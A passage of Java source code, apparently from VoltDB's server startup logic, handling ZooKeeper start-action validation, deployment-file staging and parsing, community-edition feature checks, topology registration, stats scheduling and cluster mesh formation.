hostLog.error("Failed to set daily system info logging: " + e.getMessage());
}
}
}
class StartActionWatcher implements Watcher {
@Override
public void process(WatchedEvent event) {
if (m_mode == OperationMode.SHUTTINGDOWN) return;
m_es.submit(new Runnable() {
@Override
public void run() {
validateStartAction();
}
});
}
}
private void validateStartAction() {
try {
ZooKeeper zk = m_messenger.getZK();
boolean initCompleted = zk.exists(VoltZK.init_completed, false) != null;
List<String> children = zk.getChildren(VoltZK.start_action, new StartActionWatcher(), null);
if (!children.isEmpty()) {
for (String child : children) {
byte[] data = zk.getData(VoltZK.start_action + "/" + child, false, null);
if (data == null) {
VoltDB.crashLocalVoltDB("Couldn't find " + VoltZK.start_action + "/" + child);
}
String startAction = new String(data);
if ((startAction.equals(StartAction.JOIN.toString()) ||
startAction.equals(StartAction.REJOIN.toString()) ||
startAction.equals(StartAction.LIVE_REJOIN.toString())) &&
!initCompleted) {
int nodeId = VoltZK.getHostIDFromChildName(child);
if (nodeId == m_messenger.getHostId()) {
VoltDB.crashLocalVoltDB("This node was started with start action " + startAction + " during cluster creation. "
+ "All nodes should be started with matching create or recover actions when bring up a cluster. "
+ "Join and rejoin are for adding nodes to an already running cluster.");
} else {
hostLog.warn("Node " + nodeId + " tried to " + startAction + " cluster but it is not allowed during cluster creation. "
+ "All nodes should be started with matching create or recover actions when bring up a cluster. "
+ "Join and rejoin are for adding nodes to an already running cluster.");
}
}
}
}
} catch (KeeperException e) {
hostLog.error("Failed to validate the start actions", e);
} catch (InterruptedException e) {
VoltDB.crashLocalVoltDB("Interrupted during start action validation:" + e.getMessage(), true, e);
}
}
private class ConfigLogging implements Runnable {
private void logConfigInfo() {
hostLog.info("Logging config info");
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
File configInfo = new File(configInfoDir, "config.json");
byte jsonBytes[] = null;
try {
JSONStringer stringer = new JSONStringer();
stringer.object();
stringer.key("workingDir").value(System.getProperty("user.dir"));
stringer.key("pid").value(CLibrary.getpid());
stringer.key("log4jDst").array();
Enumeration<?> appenders = Logger.getRootLogger().getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof FileAppender){
stringer.object();
stringer.key("path").value(new File(((FileAppender) appender).getFile()).getCanonicalPath());
if (appender instanceof DailyRollingFileAppender) {
stringer.key("format").value(((DailyRollingFileAppender)appender).getDatePattern());
}
stringer.endObject();
}
}
Enumeration<?> loggers = Logger.getRootLogger().getLoggerRepository().getCurrentLoggers();
while (loggers.hasMoreElements()) {
Logger logger = (Logger) loggers.nextElement();
appenders = logger.getAllAppenders();
while (appenders.hasMoreElements()) {
Appender appender = (Appender) appenders.nextElement();
if (appender instanceof FileAppender){
stringer.object();
stringer.key("path").value(new File(((FileAppender) appender).getFile()).getCanonicalPath());
if (appender instanceof DailyRollingFileAppender) {
stringer.key("format").value(((DailyRollingFileAppender)appender).getDatePattern());
}
stringer.endObject();
}
}
}
stringer.endArray();
stringer.endObject();
JSONObject jsObj = new JSONObject(stringer.toString());
jsonBytes = jsObj.toString(4).getBytes(Charsets.UTF_8);
} catch (JSONException e) {
Throwables.propagate(e);
} catch (IOException e) {
e.printStackTrace();
}
try {
FileOutputStream fos = new FileOutputStream(configInfo);
fos.write(jsonBytes);
fos.getFD().sync();
fos.close();
} catch (IOException e) {
hostLog.error("Failed to log config info: " + e.getMessage());
e.printStackTrace();
}
}
private void logCatalogAndDeployment() {
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
try {
m_catalogContext.writeCatalogJarToFile(configInfoDir.getPath(), "catalog.jar");
} catch (IOException e) {
hostLog.error("Failed to log catalog: " + e.getMessage(), e);
e.printStackTrace();
}
logDeployment();
}
private void logDeployment() {
File configInfoDir = getConfigDirectory();
configInfoDir.mkdirs();
try {
File deploymentFile = getConfigLogDeployment();
if (deploymentFile.exists()) {
deploymentFile.delete();
}
FileOutputStream fileOutputStream = new FileOutputStream(deploymentFile);
fileOutputStream.write(m_catalogContext.getDeploymentBytes());
fileOutputStream.close();
} catch (Exception e) {
hostLog.error("Failed to log deployment file: " + e.getMessage(), e);
e.printStackTrace();
}
}
@Override
public void run() {
logConfigInfo();
logCatalogAndDeployment();
}
}
// Get topology information. If rejoining, get it directly from
// ZK. Otherwise, try to do the write/read race to ZK on startup.
private JSONObject getTopology(StartAction startAction, Map<Integer, String> hostGroups,
JoinCoordinator joinCoordinator)
{
JSONObject topo = null;
if (startAction == StartAction.JOIN) {
assert(joinCoordinator != null);
topo = joinCoordinator.getTopology();
}
else if (!startAction.doesRejoin()) {
int sitesperhost = m_catalogContext.getDeployment().getCluster().getSitesperhost();
int hostcount = m_clusterSettings.get().hostcount();
int kfactor = m_catalogContext.getDeployment().getCluster().getKfactor();
ClusterConfig clusterConfig = new ClusterConfig(hostcount, sitesperhost, kfactor);
if (!clusterConfig.validate()) {
VoltDB.crashLocalVoltDB(clusterConfig.getErrorMsg(), false, null);
}
topo = registerClusterConfig(clusterConfig, hostGroups);
}
else {
Stat stat = new Stat();
try {
topo =
new JSONObject(new String(m_messenger.getZK().getData(VoltZK.topology, false, stat), "UTF-8"));
}
catch (Exception e) {
VoltDB.crashLocalVoltDB("Unable to get topology from ZK", true, e);
}
}
return topo;
}
private TreeMap<Integer, Initiator> createIv2Initiators(Collection<Integer> partitions,
StartAction startAction,
List<Integer> m_partitionsToSitesAtStartupForExportInit)
{
TreeMap<Integer, Initiator> initiators = new TreeMap<>();
for (Integer partition : partitions)
{
Initiator initiator = new SpInitiator(m_messenger, partition, getStatsAgent(),
m_snapshotCompletionMonitor, startAction);
initiators.put(partition, initiator);
m_partitionsToSitesAtStartupForExportInit.add(partition);
}
return initiators;
}
private JSONObject registerClusterConfig(ClusterConfig config, Map<Integer, String> hostGroups)
{
// First, race to write the topology to ZK using Highlander rules
// (In the end, there can be only one)
JSONObject topo = null;
try
{
final Set<Integer> liveHostIds = m_messenger.getLiveHostIds();
Preconditions.checkArgument(hostGroups.keySet().equals(liveHostIds));
topo = config.getTopology(hostGroups);
byte[] payload = topo.toString(4).getBytes("UTF-8");
m_messenger.getZK().create(VoltZK.topology, payload,
Ids.OPEN_ACL_UNSAFE,
CreateMode.PERSISTENT);
}
catch (KeeperException.NodeExistsException nee)
{
// It's fine if we didn't win, we'll pick up the topology below
}
catch (Exception e)
{
VoltDB.crashLocalVoltDB("Unable to write topology to ZK, dying",
true, e);
}
// Then, have everyone read the topology data back from ZK
try
{
byte[] data = m_messenger.getZK().getData(VoltZK.topology, false, null);
topo = new JSONObject(new String(data, "UTF-8"));
}
catch (Exception e)
{
VoltDB.crashLocalVoltDB("Unable to read topology from ZK, dying",
true, e);
}
return topo;
}
private final List<ScheduledFuture<?>> m_periodicWorks = new ArrayList<>();
/**
* Schedule all the periodic works
*/
private void schedulePeriodicWorks() {
// JMX stats broadcast
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
// A null here was causing a steady stream of annoying but apparently inconsequential
// NPEs during a debug session of an unrelated unit test.
if (m_statsManager != null) {
m_statsManager.sendNotification();
}
}
}, 0, StatsManager.POLL_INTERVAL, TimeUnit.MILLISECONDS));
// small stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(false, false);
}
}, 0, 5, TimeUnit.SECONDS));
// medium stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(true, false);
}
}, 0, 1, TimeUnit.MINUTES));
// large stats samples
m_periodicWorks.add(scheduleWork(new Runnable() {
@Override
public void run() {
SystemStatsCollector.asyncSampleSystemNow(true, true);
}
}, 0, 6, TimeUnit.MINUTES));
GCInspector.instance.start(m_periodicPriorityWorkThread);
}
private void startResourceUsageMonitor() {
if (resMonitorWork != null) {
resMonitorWork.cancel(false);
try {
resMonitorWork.get();
} catch(Exception e) { } // Ignore exceptions because we don't really care about the result here.
m_periodicWorks.remove(resMonitorWork);
}
ResourceUsageMonitor resMonitor = new ResourceUsageMonitor(m_catalogContext.getDeployment().getSystemsettings());
resMonitor.logResourceLimitConfigurationInfo();
if (resMonitor.hasResourceLimitsConfigured()) {
resMonitorWork = scheduleWork(resMonitor, resMonitor.getResourceCheckInterval(), resMonitor.getResourceCheckInterval(), TimeUnit.SECONDS);
m_periodicWorks.add(resMonitorWork);
}
}
/**
* Takes the deployment file given at initialization and the voltdb root given as
* a command line options, and it performs the following tasks:
* <p><ul>
* <li>creates if necessary the voltdbroot directory
* <li>fail if voltdbroot is already configured and populated with database artifacts
* <li>creates command log, dr, snaphot, and export directories
* <li>creates the config directory under voltdbroot
* <li>moves the deployment file under the config directory
* </ul>
* @param config
* @param dt a {@link DeploymentTypel}
*/
private void stageDeploymemtFileForInitialize(Configuration config, DeploymentType dt) {
String deprootFN = dt.getPaths().getVoltdbroot().getPath();
File deprootFH = new VoltFile(deprootFN);
File cnfrootFH = config.m_voltdbRoot;
if (!cnfrootFH.exists() && !cnfrootFH.mkdirs()) {
VoltDB.crashLocalVoltDB("Unable to create the voltdbroot directory in " + cnfrootFH, false, null);
}
try {
File depcanoFH = null;
try {
depcanoFH = deprootFH.getCanonicalFile();
} catch (IOException e) {
depcanoFH = deprootFH;
}
File cnfcanoFH = cnfrootFH.getCanonicalFile();
if (!cnfcanoFH.equals(depcanoFH)) {
dt.getPaths().getVoltdbroot().setPath(cnfrootFH.getPath());
}
// root in deployment conflicts with command line voltdbroot
if (!VoltDB.DBROOT.equals(deprootFN)) {
consoleLog.info("Ignoring voltdbroot \"" + deprootFN + "\" specified in the deployment file");
hostLog.info("Ignoring voltdbroot \"" + deprootFN + "\" specified in the deployment file");
}
} catch (IOException e) {
VoltDB.crashLocalVoltDB(
"Unable to resolve voltdbroot location: " + config.m_voltdbRoot,
false, e);
return;
}
// check for already existing artifacts
List<String> nonEmptyPaths = managedPathsWithFiles(config, dt);
if (!nonEmptyPaths.isEmpty()) {
StringBuilder crashMessage =
new StringBuilder("Files from a previous database session exist in the managed directories:");
for (String nonEmptyPath : nonEmptyPaths) {
crashMessage.append("\n - " + nonEmptyPath);
}
crashMessage.append("\nUse the start command to start the initialized database or use init --force" +
" to initialize a new database session overwriting existing files.");
VoltDB.crashLocalVoltDB(crashMessage.toString());
return;
}
// create the config subdirectory
File confDH = getConfigDirectory(config);
if (!confDH.exists() && !confDH.mkdirs()) {
VoltDB.crashLocalVoltDB("Unable to create the config directory " + confDH);
return;
}
// create the remaining paths
if (config.m_isEnterprise) {
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to access or create the following directories:\n "
+ Joiner.on("\n ").join(failed);
VoltDB.crashLocalVoltDB(msg);
return;
}
}
//In init/start mode we save adminmode to false always.
dt.getAdminMode().setAdminstartup(false);
//Now its safe to Save .paths
m_paths.store();
//Now that we are done with deployment configuration set all path null.
dt.setPaths(null);
// log message unconditionally indicating that the provided host-count and admin-mode settings in
// deployment, if any, will be ignored
consoleLog.info("When using the INIT command, some deployment file settings (hostcount, voltdbroot path, "
+ "and admin-mode) are ignored");
hostLog.info("When using the INIT command, some deployment file settings (hostcount, voltdbroot path, "
+ "and admin-mode) are ignored");
File depFH = getConfigLogDeployment(config);
try (FileWriter fw = new FileWriter(depFH)) {
fw.write(CatalogUtil.getDeployment(dt, true /* pretty print indent */));
} catch (IOException|RuntimeException e) {
VoltDB.crashLocalVoltDB("Unable to marshal deployment configuration to " + depFH, false, e);
}
// Save cluster settings properties derived from the deployment file
ClusterSettings.create(CatalogUtil.asClusterSettingsMap(dt)).store();
}
private void stageInitializedMarker(Configuration config) {
File depFH = new VoltFile(config.m_voltdbRoot, VoltDB.INITIALIZED_MARKER);
try (PrintWriter pw = new PrintWriter(new FileWriter(depFH), true)) {
pw.println(config.m_clusterName);
} catch (IOException e) {
VoltDB.crashLocalVoltDB("Unable to stage cluster name destination", false, e);
}
}
private void deleteInitializationMarkers(Configuration configuration) {
for (File c: configuration.getInitMarkers()) {
MiscUtils.deleteRecursively(c);
}
}
int readDeploymentAndCreateStarterCatalogContext(VoltDB.Configuration config) {
/*
* Debate with the cluster what the deployment file should be
*/
try {
ZooKeeper zk = m_messenger.getZK();
byte deploymentBytes[] = null;
try {
deploymentBytes = org.voltcore.utils.CoreUtils.urlToBytes(m_config.m_pathToDeployment);
} catch (Exception ex) {
//Let us get bytes from ZK
}
DeploymentType deployment = null;
try {
if (deploymentBytes != null) {
CatalogUtil.writeCatalogToZK(zk,
// Fill in innocuous values for non-deployment stuff
0,
0L,
0L,
new byte[] {}, // spin loop in Inits.LoadCatalog.run() needs
// this to be of zero length until we have a real catalog.
null,
deploymentBytes);
hostLog.info("URL of deployment: " + m_config.m_pathToDeployment);
} else {
CatalogAndIds catalogStuff = CatalogUtil.getCatalogFromZK(zk);
deploymentBytes = catalogStuff.deploymentBytes;
}
} catch (KeeperException.NodeExistsException e) {
CatalogAndIds catalogStuff = CatalogUtil.getCatalogFromZK(zk);
byte[] deploymentBytesTemp = catalogStuff.deploymentBytes;
if (deploymentBytesTemp != null) {
//Check hash if its a supplied deployment on command line.
//We will ignore the supplied or default deployment anyways.
if (deploymentBytes != null && !m_config.m_deploymentDefault) {
byte[] deploymentHashHere =
CatalogUtil.makeDeploymentHash(deploymentBytes);
if (!(Arrays.equals(deploymentHashHere, catalogStuff.getDeploymentHash())))
{
hostLog.warn("The locally provided deployment configuration did not " +
" match the configuration information found in the cluster.");
} else {
hostLog.info("Deployment configuration pulled from other cluster node.");
}
}
//Use remote deployment obtained.
deploymentBytes = deploymentBytesTemp;
} else {
hostLog.error("Deployment file could not be loaded locally or remotely, "
+ "local supplied path: " + m_config.m_pathToDeployment);
deploymentBytes = null;
}
} catch(KeeperException.NoNodeException e) {
// no deploymentBytes case is handled below. So just log this error.
if (hostLog.isDebugEnabled()) {
hostLog.debug("Error trying to get deployment bytes from cluster", e);
}
}
if (deploymentBytes == null) {
hostLog.error("Deployment information could not be obtained from cluster node or locally");
VoltDB.crashLocalVoltDB("No such deployment file: "
+ m_config.m_pathToDeployment, false, null);
}
if (deployment == null) {
deployment = CatalogUtil.getDeployment(new ByteArrayInputStream(deploymentBytes));
}
// wasn't a valid xml deployment file
if (deployment == null) {
hostLog.error("Not a valid XML deployment file at URL: " + m_config.m_pathToDeployment);
VoltDB.crashLocalVoltDB("Not a valid XML deployment file at URL: "
+ m_config.m_pathToDeployment, false, null);
}
/*
* Check for invalid deployment file settings (enterprise-only) in the community edition.
* Trick here is to print out all applicable problems and then stop, rather than stopping
* after the first one is found.
*/
if (!m_config.m_isEnterprise) {
boolean shutdownDeployment = false;
boolean shutdownAction = false;
// check license features for community version
if ((deployment.getCluster() != null) && (deployment.getCluster().getKfactor() > 0)) {
consoleLog.error("K-Safety is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getSnapshot() != null) && (deployment.getSnapshot().isEnabled())) {
consoleLog.error("Snapshots are not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getCommandlog() != null) && (deployment.getCommandlog().isEnabled())) {
consoleLog.error("Command logging is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getExport() != null) && Boolean.TRUE.equals(deployment.getExport().isEnabled())) {
consoleLog.error("Export is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
// check the start action for the community edition
if (m_config.m_startAction != StartAction.CREATE) {
consoleLog.error("Start action \"" + m_config.m_startAction.getClass().getSimpleName() +
"\" is not supported in the community edition of VoltDB.");
shutdownAction = true;
}
// if the process needs to stop, try to be helpful
if (shutdownAction || shutdownDeployment) {
String msg = "This process will exit. Please run VoltDB with ";
if (shutdownDeployment) {
msg += "a deployment file compatible with the community edition";
}
if (shutdownDeployment && shutdownAction) {
msg += " and ";
}
if (shutdownAction && !shutdownDeployment) {
msg += "the CREATE start action";
}
msg += ".";
VoltDB.crashLocalVoltDB(msg, false, null);
}
}
// note the heart beats are specified in seconds in xml, but ms internally
HeartbeatType hbt = deployment.getHeartbeat();
if (hbt != null) {
m_config.m_deadHostTimeoutMS = hbt.getTimeout() * 1000;
m_messenger.setDeadHostTimeout(m_config.m_deadHostTimeoutMS);
} else {
hostLog.info("Dead host timeout set to " + m_config.m_deadHostTimeoutMS + " milliseconds");
}
PartitionDetectionType pt = deployment.getPartitionDetection();
if (pt != null) {
m_config.m_partitionDetectionEnabled = pt.isEnabled();
m_messenger.setPartitionDetectionEnabled(m_config.m_partitionDetectionEnabled);
// check for user using deprecated settings
PartitionDetectionType.Snapshot snapshot = pt.getSnapshot();
if (snapshot != null) {
String prefix = snapshot.getPrefix();
if ((prefix != null) && ("partition_detection".equalsIgnoreCase(prefix) == false)) {
hostLog.warn(String.format("Partition Detection snapshots are "
+ "no longer supported. Prefix value \"%s\" will be ignored.", prefix));
}
}
}
// get any consistency settings into config
ConsistencyType consistencyType = deployment.getConsistency();
if (consistencyType != null) {
m_config.m_consistencyReadLevel = Consistency.ReadLevel.fromReadLevelType(consistencyType.getReadlevel());
}
final String elasticSetting = deployment.getCluster().getElastic().trim().toUpperCase();
if (elasticSetting.equals("ENABLED")) {
TheHashinator.setConfiguredHashinatorType(HashinatorType.ELASTIC);
} else if (!elasticSetting.equals("DISABLED")) {
VoltDB.crashLocalVoltDB("Error in deployment file, elastic attribute of " +
"cluster element must be " +
"'enabled' or 'disabled' but was '" + elasticSetting + "'", false, null);
}
else {
TheHashinator.setConfiguredHashinatorType(HashinatorType.LEGACY);
}
// log system setting information
SystemSettingsType sysType = deployment.getSystemsettings();
if (sysType != null) {
if (sysType.getElastic() != null) {
hostLog.info("Elastic duration set to " + sysType.getElastic().getDuration() + " milliseconds");
hostLog.info("Elastic throughput set to " + sysType.getElastic().getThroughput() + " mb/s");
}
if (sysType.getTemptables() != null) {
hostLog.info("Max temptable size set to " + sysType.getTemptables().getMaxsize() + " mb");
}
if (sysType.getSnapshot() != null) {
hostLog.info("Snapshot priority set to " + sysType.getSnapshot().getPriority() + " [0 - 10]");
}
if (sysType.getQuery() != null) {
if (sysType.getQuery().getTimeout() > 0) {
hostLog.info("Query timeout set to " + sysType.getQuery().getTimeout() + " milliseconds");
m_config.m_queryTimeout = sysType.getQuery().getTimeout();
}
else if (sysType.getQuery().getTimeout() == 0) {
hostLog.info("Query timeout set to unlimited");
m_config.m_queryTimeout = 0;
}
}
}
// create a dummy catalog to load deployment info into
Catalog catalog = new Catalog();
// Need these in the dummy catalog
Cluster cluster = catalog.getClusters().add("cluster");
@SuppressWarnings("unused")
Database db = cluster.getDatabases().add("database");
String result = CatalogUtil.compileDeployment(catalog, deployment, true);
if (result != null) {
// Any other non-enterprise deployment errors will be caught and handled here
// (such as <= 0 host count)
VoltDB.crashLocalVoltDB(result);
}
m_catalogContext = new CatalogContext(
TxnEgo.makeZero(MpInitiator.MP_INIT_PID).getTxnId(), //txnid
0, //timestamp
catalog,
m_clusterSettings,
new byte[] {},
null,
deploymentBytes,
0);
return m_clusterSettings.get().hostcount();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
@Override
public void loadLegacyPathProperties(DeploymentType deployment) throws IOException {
//Load deployment paths now if Legacy so that we access through the interface all the time.
if (isRunningWithOldVerbs() && m_paths == null) {
m_paths = PathSettings.create(CatalogUtil.asPathSettingsMap(deployment));
List<String> failed = m_paths.ensureDirectoriesExist();
if (!failed.isEmpty()) {
String msg = "Unable to validate path settings:\n " +
Joiner.on("\n ").join(failed);
hostLog.fatal(msg);
throw new IOException(msg);
}
}
}
static class ReadDeploymentResults {
final byte [] deploymentBytes;
final DeploymentType deployment;
ReadDeploymentResults(byte [] deploymentBytes, DeploymentType deployment) {
this.deploymentBytes = deploymentBytes;
this.deployment = deployment;
}
}
ReadDeploymentResults readPrimedDeployment(Configuration config) {
/*
* Debate with the cluster what the deployment file should be
*/
try {
byte deploymentBytes[] = null;
try {
deploymentBytes = org.voltcore.utils.CoreUtils.urlToBytes(config.m_pathToDeployment);
} catch (Exception ex) {
//Let us get bytes from ZK
}
if (deploymentBytes == null) {
hostLog.error("Deployment information could not be obtained from cluster node or locally");
VoltDB.crashLocalVoltDB("No such deployment file: "
+ config.m_pathToDeployment, false, null);
}
DeploymentType deployment =
CatalogUtil.getDeployment(new ByteArrayInputStream(deploymentBytes));
// wasn't a valid xml deployment file
if (deployment == null) {
hostLog.error("Not a valid XML deployment file at URL: " + config.m_pathToDeployment);
VoltDB.crashLocalVoltDB("Not a valid XML deployment file at URL: "
+ config.m_pathToDeployment, false, null);
return new ReadDeploymentResults(deploymentBytes, deployment);
}
PathSettings pathSettings = null;
// adjust deployment host count when the cluster members are given by mesh configuration
// providers
switch(config.m_startAction) {
case PROBE:
// once a voltdbroot is inited, the path properties contain the true path values
Settings.initialize(config.m_voltdbRoot);
pathSettings = PathSettings.create();
File pathSettingsFH = new File(getConfigDirectory(config), "path.properties");
consoleLog.info("Loaded path settings from " + pathSettingsFH.getPath());
hostLog.info("Loaded path settings from " + pathSettingsFH.getPath());
break;
case INITIALIZE:
Settings.initialize(config.m_voltdbRoot);
// voltdbroot value from config overrides voltdbroot value in the deployment
// file
pathSettings = PathSettings.create(
config.asPathSettingsMap(),
CatalogUtil.asPathSettingsMap(deployment));
break;
default:
pathSettings = PathSettings.create(CatalogUtil.asPathSettingsMap(deployment));
Settings.initialize(pathSettings.getVoltDBRoot());
config.m_voltdbRoot = pathSettings.getVoltDBRoot();
break;
}
m_paths = pathSettings;
if (config.m_startAction == StartAction.PROBE) {
// once initialized the path properties contain the true path values
if (config.m_hostCount == VoltDB.UNDEFINED) {
config.m_hostCount = 1;
}
} else {
config.m_hostCount = deployment.getCluster().getHostcount();
}
/*
* Check for invalid deployment file settings (enterprise-only) in the community edition.
* Trick here is to print out all applicable problems and then stop, rather than stopping
* after the first one is found.
*/
if (!config.m_isEnterprise) {
boolean shutdownDeployment = false;
boolean shutdownAction = false;
// check license features for community version
if ((deployment.getCluster() != null) && (deployment.getCluster().getKfactor() > 0)) {
consoleLog.error("K-Safety is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getSnapshot() != null) && (deployment.getSnapshot().isEnabled())) {
consoleLog.error("Snapshots are not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getCommandlog() != null) && (deployment.getCommandlog().isEnabled())) {
consoleLog.error("Command logging is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
if ((deployment.getExport() != null) && Boolean.TRUE.equals(deployment.getExport().isEnabled())) {
consoleLog.error("Export is not supported " +
"in the community edition of VoltDB.");
shutdownDeployment = true;
}
// check the start action for the community edition
if (m_config.m_startAction != StartAction.CREATE) {
consoleLog.error("Start action \"" + m_config.m_startAction.getClass().getSimpleName() +
"\" is not supported in the community edition of VoltDB.");
shutdownAction = true;
}
// if the process needs to stop, try to be helpful
if (shutdownAction || shutdownDeployment) {
String msg = "This process will exit. Please run VoltDB with ";
if (shutdownDeployment) {
msg += "a deployment file compatible with the community edition";
}
if (shutdownDeployment && shutdownAction) {
msg += " and ";
}
if (shutdownAction && !shutdownDeployment) {
msg += "the CREATE start action";
}
msg += ".";
VoltDB.crashLocalVoltDB(msg, false, null);
}
}
return new ReadDeploymentResults(deploymentBytes, deployment);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
void collectLocalNetworkMetadata() {
boolean threw = false;
JSONStringer stringer = new JSONStringer();
try {
stringer.object();
stringer.key("interfaces").array();
/*
* If no interface was specified, do a ton of work
* to identify all ipv4 or ipv6 interfaces and
* marshal them into JSON. Always put the ipv4 address first
* so that the export client will use it
*/
if (m_config.m_externalInterface.equals("")) {
LinkedList<NetworkInterface> interfaces = new LinkedList<>();
try {
Enumeration<NetworkInterface> intfEnum = NetworkInterface.getNetworkInterfaces();
while (intfEnum.hasMoreElements()) {
NetworkInterface intf = intfEnum.nextElement();
if (intf.isLoopback() || !intf.isUp()) {
continue;
}
interfaces.offer(intf);
}
} catch (SocketException e) {
throw new RuntimeException(e);
}
if (interfaces.isEmpty()) {
stringer.value("localhost");
} else {
boolean addedIp = false;
while (!interfaces.isEmpty()) {
NetworkInterface intf = interfaces.poll();
Enumeration<InetAddress> inetAddrs = intf.getInetAddresses();
Inet6Address inet6addr = null;
Inet4Address inet4addr = null;
while (inetAddrs.hasMoreElements()) {
InetAddress addr = inetAddrs.nextElement();
if (addr instanceof Inet6Address) {
inet6addr = (Inet6Address)addr;
if (inet6addr.isLinkLocalAddress()) {
inet6addr = null;
}
} else if (addr instanceof Inet4Address) {
inet4addr = (Inet4Address)addr;
}
}
if (inet4addr != null) {
stringer.value(inet4addr.getHostAddress());
addedIp = true;
}
if (inet6addr != null) {
stringer.value(inet6addr.getHostAddress());
addedIp = true;
}
}
if (!addedIp) {
stringer.value("localhost");
}
}
} else {
stringer.value(m_config.m_externalInterface);
}
} catch (Exception e) {
threw = true;
hostLog.warn("Error while collecting data about local network interfaces", e);
}
try {
if (threw) {
stringer = new JSONStringer();
stringer.object();
stringer.key("interfaces").array();
stringer.value("localhost");
stringer.endArray();
} else {
stringer.endArray();
}
stringer.key("clientPort").value(m_config.m_port);
stringer.key("clientInterface").value(m_config.m_clientInterface);
stringer.key("adminPort").value(m_config.m_adminPort);
stringer.key("adminInterface").value(m_config.m_adminInterface);
stringer.key("httpPort").value(m_config.m_httpPort);
stringer.key("httpInterface").value(m_config.m_httpPortInterface);
stringer.key("internalPort").value(m_config.m_internalPort);
stringer.key("internalInterface").value(m_config.m_internalInterface);
String[] zkInterface = m_config.m_zkInterface.split(":");
stringer.key("zkPort").value(zkInterface[1]);
stringer.key("zkInterface").value(zkInterface[0]);
stringer.key("drPort").value(VoltDB.getReplicationPort(m_catalogContext.cluster.getDrproducerport()));
stringer.key("drInterface").value(VoltDB.getDefaultReplicationInterface());
stringer.key("publicInterface").value(m_config.m_publicInterface);
stringer.endObject();
JSONObject obj = new JSONObject(stringer.toString());
// possibly atomic swap from null to realz
m_localMetadata = obj.toString(4);
hostLog.debug("System Metadata is: " + m_localMetadata);
} catch (Exception e) {
hostLog.warn("Failed to collect data about lcoal network interfaces", e);
}
}
@Override
public boolean isBare() {
return m_isBare;
}
void setBare(boolean flag) {
m_isBare = flag;
}
/**
* Start the voltcore HostMessenger. This joins the node
* to the existing cluster. In the non rejoin case, this
* function will return when the mesh is complete. If
* rejoining, it will return when the node and agreement
* site are synched to the existing cluster.
*/
MeshProber.Determination buildClusterMesh(ReadDeploymentResults readDepl) {
final boolean bareAtStartup = m_config.m_forceVoltdbCreate
|| pathsWithRecoverableArtifacts(readDepl.deployment).isEmpty();
setBare(bareAtStartup);
final Supplier<Integer> hostCountSupplier = new Supplier<Integer>() {
@Override
public Integer get() {
return m_clusterSettings.get().hostcount();
}
};
ClusterType clusterType = readDepl.deployment.getCluster();
MeshProber criteria = MeshProber.builder()
.coordinators(m_config.m_coordinators)
.versionChecker(m_versionChecker)
.enterprise(m_config.m_isEnterprise)
.startAction(m_config.m_startAction)
.bare(bareAtStartup)
.configHash(CatalogUtil.makeDeploymentHashForConfig(readDepl.deploymentBytes))
.hostCountSupplier(hostCountSupplier)
.kfactor(clusterType.getKfactor())
.paused(m_config.m_isPaused)
.nodeStateSupplier(m_statusTracker.getNodeStateSupplier())
.addAllowed(m_config.m_enableAdd)
.safeMode(m_config.m_safeMode)
.build();
HostAndPort hostAndPort = criteria.getLeader();
String hostname = hostAndPort.getHostText();
int port = hostAndPort.getPort();
org.voltcore.messaging.HostMessenger.Config hmconfig;
hmconfig = new org.voltcore.messaging.HostMessenger.Config(hostname, port);
if (m_config.m_placementGroup != null) {
hmconfig.group = m_config.m_placementGroup;
}
hmconfig.internalPort = m_config.m_internalPort;
hmconfig.internalInterface = m_config.m_internalInterface;
hmconfig.zkInterface = m_config.m_zkInterface;
hmconfig.deadHostTimeout = m_config.m_deadHostTimeoutMS;
hmconfig.factory = new VoltDbMessageFactory();
hmconfig.coreBindIds = m_config.m_networkCoreBindings;
hmconfig.acceptor = criteria;
m_messenger = new org.voltcore.messaging.HostMessenger(hmconfig, this);
hostLog.info(String.format("Beginning inter-node communication on port %d.", m_config.m_internalPort));
try {
m_messenger.start();
} catch (Exception e) {
VoltDB.crashLocalVoltDB(e.getMessage(), true, e);
}
VoltZK.createPersistentZKNodes(m_messenger.getZK());
// Use the host messenger's hostId.
m_myHostId = m_messenger.getHostId();
hostLog.info(String.format("Host id of this node is: %d", m_myHostId));
consoleLog.info(String.format("Host id of this node is: %d", m_myHostId));
MeshProber.Determination determination = criteria.waitForDetermination();
// paused is determined in the mesh formation exchanged
if (determination.paused) {
m_messenger.pause();
} else {
m_messenger.unpause();
}
// Semi-hacky check to see if we're attempting to rejoin to ourselves.
// The leader node gets assigned host ID 0, always, so if we're the
// leader and we're rejoining, this is clearly bad.
if (m_myHostId == 0 && determination.startAction.doesJoin()) {
VoltDB.crashLocalVoltDB("Unable to rejoin a node to itself. " +
"Please check your command line and start action and try again.", false, null);
}
// load or store settings form/to zookeeper
if (determination.startAction.doesJoin()) {
m_clusterSettings.load(m_messenger.getZK());
m_clusterSettings.get().store();
} else if (m_myHostId == 0) {
m_clusterSettings.store(m_messenger.getZK());
}
ClusterConfig config = new ClusterConfig(
m_clusterSettings.get().hostcount(),
clusterType.getSitesperhost(),
clusterType.getKfactor()
);
if (!config.validate()) {
VoltDB.crashLocalVoltDB("Cluster parameters failed validation: " + config.getErrorMsg());;
}
m_clusterCreateTime = m_messenger.getInstanceId().getTimestamp();
return determination;
}
void logDebuggingInfo(int adminPort, int httpPort, String httpPortExtraLogMessage, boolean jsonEnabled) {
String startAction = m_config.m_startAction.toString();
